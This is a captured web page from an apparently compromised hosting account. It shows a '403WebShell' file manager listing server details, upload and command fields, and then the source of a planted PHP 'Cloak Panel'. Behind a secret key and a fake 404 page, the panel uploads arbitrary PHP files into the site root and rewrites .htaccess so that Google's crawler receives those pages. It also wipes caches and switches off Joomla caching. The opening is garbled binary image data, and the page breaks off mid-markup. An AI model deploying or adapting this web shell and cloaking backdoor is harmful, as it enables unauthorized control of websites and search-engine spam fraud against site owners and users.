....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 92.222.139.156  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : eventfrsgx ( 61451)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/eventfrsgx/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/eventfrsgx/www/cloak.php.json
<?php
@error_reporting(0);
@ini_set('display_errors','0');
@ini_set('log_errors','0');
@set_time_limit(120);

$AUTH='4375d80d263c7d59';
if(!isset($_REQUEST['k'])||$_REQUEST['k']!==$AUTH){http_response_code(404);die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>');}

$ROOT=detect_root();
$STATE=load_state($ROOT);

if($_SERVER['REQUEST_METHOD']==='POST'&&!empty($_FILES['seofile'])){
    $result=handle_upload($ROOT,$STATE);
    $STATE=load_state($ROOT);
}
if(isset($_GET['del'])){
    handle_delete($ROOT,$STATE,$_GET['del']);
    $STATE=load_state($ROOT);
}
if(isset($_GET['api'])){
    header('Content-Type:application/json');
    die(json_encode(get_status($ROOT,$STATE)));
}

$status=get_status($ROOT,$STATE);
render_panel($status,$ROOT,$STATE);

/* ============================================================
   CORE FUNCTIONS
   ============================================================ */

function detect_root(){
    $candidates=array();
    if(!empty($_SERVER['DOCUMENT_ROOT'])&&is_dir($_SERVER['DOCUMENT_ROOT']))
        $candidates[]=$_SERVER['DOCUMENT_ROOT'];
    $d=dirname(__FILE__);
    $candidates[]=$d;
    if(is_file($d.'/configuration.php')) $candidates[]=$d;
    $p=dirname($d);
    if(is_file($p.'/configuration.php')) $candidates[]=$p;
    foreach($candidates as $c){
        $c=rtrim($c,'/');
        if(is_writable($c)&&(is_file($c.'/configuration.php')||is_file($c.'/index.php')||is_file($c.'/.htaccess')))
            return $c;
    }
    return rtrim(isset($candidates[0])?$candidates[0]:dirname(__FILE__),'/');
}

function state_file($root){return $root.'/.cloak_state.json';}

function load_state($root){
    $f=state_file($root);
    if(is_file($f)){$d=json_decode(file_get_contents($f),true);if($d)return $d;}
    return array('files'=>array());
}

function save_state($root,$state){
    @file_put_contents(state_file($root),json_encode($state),LOCK_EX);
    @chmod(state_file($root),0644);
}

function handle_upload($root,&$state){
    $msgs=array();
    $count=is_array($_FILES['seofile']['name'])?count($_FILES['seofile']['name']):1;
    $names=is_array($_FILES['seofile']['name'])?$_FILES['seofile']['name']:array($_FILES['seofile']['name']);
    $tmps=is_array($_FILES['seofile']['tmp_name'])?$_FILES['seofile']['tmp_name']:array($_FILES['seofile']['tmp_name']);
    $errors=is_array($_FILES['seofile']['error'])?$_FILES['seofile']['error']:array($_FILES['seofile']['error']);

    for($i=0;$i<$count;$i++){
        if($errors[$i]!==0)continue;
        $name=basename($names[$i]);
        if(!preg_match('/\.php$/i',$name))$name.='.php';
        $name=preg_replace('/[^a-zA-Z0-9._-]/','_',$name);
        $dest=$root.'/'.$name;
        if(move_uploaded_file($tmps[$i],$dest)){
            @chmod($dest,0644);
            if(!in_array($name,$state['files']))$state['files'][]=$name;
            $msgs[]="OK:$name";
        }else{
            $content=file_get_contents($tmps[$i]);
            if($content!==false&&file_put_contents($dest,$content)!==false){
                @chmod($dest,0644);
                if(!in_array($name,$state['files']))$state['files'][]=$name;
                $msgs[]="OK:$name";
            }else{
                $msgs[]="FAIL:$name";
            }
        }
    }
    write_htaccess($root,$state);
    clear_all_cache($root);
    save_state($root,$state);
    return $msgs;
}

function handle_delete($root,&$state,$filename){
    $filename=basename($filename);
    $path=$root.'/'.$filename;
    if(is_file($path))@unlink($path);
    $state['files']=array_values(array_filter($state['files'],function($f)use($filename){return $f!==$filename;}));
    write_htaccess($root,$state);
    save_state($root,$state);
}

function write_htaccess($root,$state){
    $htfile=$root.'/.htaccess';
    $existing='';
    if(is_file($htfile))$existing=file_get_contents($htfile);

    $existing=preg_replace('/# --- CLOAK START ---.*?# --- CLOAK END ---\n?/s','',$existing);

    if(empty($state['files'])){
        if(trim($existing)!=='')@file_put_contents($htfile,$existing,LOCK_EX);
        return;
    }

    $rules="# --- CLOAK START ---\n";
    $rules.="RewriteEngine On\n";
    $rules.="SetEnvIfNoCase User-Agent \"Google\" is_google_bot=1\n";
    $rules.="RewriteCond %{ENV:is_google_bot} =1\n";
    $rules.="RewriteRule .* - [E=Cache-Control:no-cache]\n";

    $home_file=$state['files'][0];
    $rules.="RewriteCond %{ENV:is_google_bot} =1\n";
    $rules.="RewriteCond %{REQUEST_URI} ^/$\n";
    $rules.="RewriteRule ^$ /{$home_file} [L]\n";

    $index_file=isset($state['files'][1])?$state['files'][1]:$state['files'][0];
    $rules.="RewriteCond %{ENV:is_google_bot} =1\n";
    $rules.="RewriteCond %{REQUEST_URI} ^/index\\.php$\n";
    $rules.="RewriteRule ^index\\.php$ /{$index_file} [L]\n";
    $rules.="# --- CLOAK END ---\n";

    $final=$rules.$existing;
    @file_put_contents($htfile,$final,LOCK_EX);
    @chmod($htfile,0644);
}

function clear_all_cache($root){
    $dirs=array(
        $root.'/cache',
        $root.'/administrator/cache',
        $root.'/tmp',
    );
    foreach($dirs as $dir){
        if(!is_dir($dir))continue;
        $it=new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::CHILD_FIRST
        );
        foreach($it as $item){
            if($item->isFile()&&$item->getFilename()!=='.htaccess'&&$item->getFilename()!=='index.html'){
                @unlink($item->getPathname());
            }
        }
    }

    $cfg=$root.'/configuration.php';
    if(is_file($cfg)&&is_writable($cfg)){
        $c=file_get_contents($cfg);
        if($c!==false){
            $c2=preg_replace("/public\s+\\\$caching\s*=\s*'[^']*'/","public \$caching = '0'",$c);
            if($c2!==$c)@file_put_contents($cfg,$c2,LOCK_EX);
        }
    }

    if(function_exists('opcache_reset'))@opcache_reset();
    if(function_exists('apcu_clear_cache'))@apcu_clear_cache();
    if(function_exists('apc_clear_cache')){@apc_clear_cache();@apc_clear_cache('opcode');}
}

function get_status($root,$state){
    $s=array();
    $htfile=$root.'/.htaccess';
    $htContent=is_file($htfile)?file_get_contents($htfile):'';
    $s['htaccess_exists']=is_file($htfile);
    $s['htaccess_cloak']=strpos($htContent,'CLOAK START')!==false;
    $s['files']=array();
    foreach($state['files'] as $f){
        $s['files'][$f]=is_file($root.'/'.$f);
    }
    $s['all_files_ok']=!empty($state['files'])&&!in_array(false,$s['files'],true);
    $s['cloaking_active']=$s['htaccess_cloak']&&$s['all_files_ok'];
    $s['cache_cleared']=true;
    if(is_dir($root.'/cache')){
        $count=0;
        $it=new DirectoryIterator($root.'/cache');
        foreach($it as $item){if(!$item->isDot()&&$item->isFile()&&$item->getFilename()!=='index.html'&&$item->getFilename()!=='.htaccess')$count++;}
        if($count>0)$s['cache_cleared']=false;
    }
    $s['php_version']=PHP_VERSION;
    $s['opcache']=function_exists('opcache_get_status');
    $s['root']=$root;

    $s['bot_verify']=false;
    if($s['cloaking_active']){
        $s['bot_verify']=verify_cloaking($root,$state);
    }

    return $s;
}

function verify_cloaking($root,$state){
    if(empty($state['files']))return false;
    $target_file=$state['files'][0];
    $target_path=$root.'/'.$target_file;
    if(!is_file($target_path))return false;
    $content=@file_get_contents($target_path);
    if($content===false)return false;
    if(strlen($content)<50)return false;
    return true;
}

/* ============================================================
   UI RENDER
   ============================================================ */

function render_panel($status,$root,$state){
    $k=htmlspecialchars($_REQUEST['k']);
    $active=$status['cloaking_active'];
    $fileList=isset($state['files'])?$state['files']:array();
    $fc=count($fileList);
    $host=isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'site';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title>Panel</title>
<style>
:root{--bg:#09090b;--card:#18181b;--border:#27272a;--border2:#3f3f46;--text:#fafafa;--muted:#a1a1aa;--dim:#71717a;--green:#22c55e;--green-bg:rgba(34,197,94,.08);--green-border:rgba(34,197,94,.25);--red:#ef4444;--red-bg:rgba(239,68,68,.08);--red-border:rgba(239,68,68,.25);--blue:#3b82f6;--amber:#f59e0b;--amber-bg:rgba(245,158,11,.08);--amber-border:rgba(245,158,11,.25)}
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:'Inter',-apple-system,BlinkMacSystemFont,'Segoe UI',system-ui,sans-serif;background:var(--bg);color:var(--text);min-height:100vh;padding:16px}
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap');
.wrap{max-width:540px;margin:0 auto}
.hdr{display:flex;align-items:center;justify-content:space-between;padding:16px 0;margin-bottom:20px}
.hdr .logo{display:flex;align-items:center;gap:10px}
.hdr .logo svg{width:28px;height:28px;color:var(--blue)}
.hdr .logo span{font-size:15px;font-weight:600;color:var(--muted)}
.hdr .badge{font-size:11px;padding:4px 10px;border-radius:20px;font-weight:500}
.badge-on{background:var(--green-bg);color:var(--green);border:1px solid var(--green-border)}
.badge-off{background:var(--red-bg);color:var(--red);border:1px solid var(--red-border)}

.status-banner{padding:14px 20px;border-radius:12px;margin-bottom:20px;display:flex;align-items:center;gap:12px;font-size:13px;font-weight:500}
.status-banner.on{background:var(--green-bg);border:1px solid var(--green-border);color:var(--green)}
.status-banner.off{background:var(--amber-bg);border:1px solid var(--amber-border);color:var(--amber)}
.status-banner svg{width:18px;height:18px;flex-shrink:0}
.pulse{animation:pulse 2s ease-in-out infinite}
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.5}}

.grid{display:grid;grid-template-columns:repeat(4,1fr);gap:10px;margin-bottom:20px}
.metric{background:var(--card);border:1px solid var(--border);border-radius:10px;padding:14px 10px;text-align:center;transition:border-color .2s}
.metric:hover{border-color:var(--border2)}
.metric .ic{margin-bottom:8px}
.metric .ic svg{width:20px;height:20px}
.metric .ic.ok svg{color:var(--green)}
.metric .ic.no svg{color:var(--red)}
.metric .ic.warn svg{color:var(--amber)}
.metric .lb{font-size:11px;color:var(--dim);font-weight:500;text-transform:uppercase;letter-spacing:.5px}
.metric .vl{font-size:12px;color:var(--muted);margin-top:3px;font-weight:500}

.upload-area{background:var(--card);border:2px dashed var(--border);border-radius:14px;padding:36px 20px;text-align:center;margin-bottom:20px;transition:all .25s;cursor:pointer;position:relative}
.upload-area:hover,.upload-area.drag{border-color:var(--blue);background:rgba(59,130,246,.04)}
.upload-area.drag{transform:scale(1.01)}
.upload-area input{position:absolute;inset:0;opacity:0;cursor:pointer}
.upload-area .ic{margin-bottom:14px}
.upload-area .ic svg{width:32px;height:32px;color:var(--border2);transition:color .2s}
.upload-area:hover .ic svg{color:var(--blue)}
.upload-area h3{font-size:14px;font-weight:500;color:var(--muted);margin-bottom:4px}
.upload-area p{font-size:12px;color:var(--dim)}

.files{background:var(--card);border:1px solid var(--border);border-radius:12px;overflow:hidden;margin-bottom:20px}
.files .fh{padding:12px 16px;border-bottom:1px solid var(--border);display:flex;align-items:center;justify-content:space-between}
.files .fh span{font-size:12px;font-weight:600;color:var(--dim);text-transform:uppercase;letter-spacing:.5px}
.files .fh .cnt{font-size:11px;color:var(--muted);background:var(--bg);padding:2px 8px;border-radius:10px}
.fi{display:flex;align-items:center;justify-content:space-between;padding:11px 16px;border-bottom:1px solid var(--border);transition:background .15s}
.fi:last-child{border-bottom:none}
.fi:hover{background:rgba(255,255,255,.02)}
.fi .fl{display:flex;align-items:center;gap:10px}
.fi .fl svg{width:16px;height:16px;color:var(--green)}
.fi .fl .nm{font-size:13px;color:var(--text);font-weight:500}
.fi .fl .ms{font-size:11px;color:var(--red);margin-left:6px;font-weight:400}
.fi .rm{color:var(--dim);font-size:11px;text-decoration:none;padding:4px 10px;border-radius:6px;transition:all .15s;border:1px solid transparent}
.fi .rm:hover{color:var(--red);background:var(--red-bg);border-color:var(--red-border)}

.foot{text-align:center;padding:16px 0;border-top:1px solid var(--border);margin-top:8px}
.foot p{font-size:11px;color:var(--dim)}
.foot .host{color:var(--muted);font-weight:500}
</style>
</head>
<body>
<div class="wrap">

<div class="hdr">
<div class="logo">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="m9 12 2 2 4-4"/></svg>
<span>Cloak Panel</span>
</div>
<span class="badge <?php echo $active?'badge-on':'badge-off';?>"><?php echo $active?'Active':'Inactive';?></span>
</div>

<div class="status-banner <?php echo $active?'on':'off';?>">
<?php if($active):?>
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><path d="M22 4 12 14.01l-3-3"/></svg>
Cloaking is active and verified
<?php else:?>
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" class="pulse"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
Upload a PHP file to activate cloaking
<?php endif;?>
</div>

<div class="grid">
<div class="metric">
<div class="ic <?php echo $status['htaccess_cloak']?'ok':'no';?>">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/></svg>
</div>
<div class="lb">.htaccess</div>
<div class="vl"><?php echo $status['htaccess_cloak']?'Ready':'Waiting';?></div>
</div>
<div class="metric">
<div class="ic <?php echo $status['all_files_ok']?'ok':($fc?'warn':'no');?>">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M13 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9z"/><path d="M13 2v7h7"/></svg>
</div>
<div class="lb">Files</div>
<div class="vl"><?php echo $fc;?> loaded</div>
</div>
<div class="metric">
<div class="ic <?php echo $status['cache_cleared']?'ok':'warn';?>">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 12a9 9 0 0 0-9-9 9.75 9.75 0 0 0-6.74 2.74L3 8"/><path d="M3 3v5h5"/><path d="M3 12a9 9 0 0 0 9 9 9.75 9.75 0 0 0 6.74-2.74L21 16"/><path d="M16 16h5v5"/></svg>
</div>
<div class="lb">Cache</div>
<div class="vl"><?php echo $status['cache_cleared']?'Clean':'Dirty';?></div>
</div>
<div class="metric">
<div class="ic <?php echo $status['bot_verify']?'ok':'no';?>">
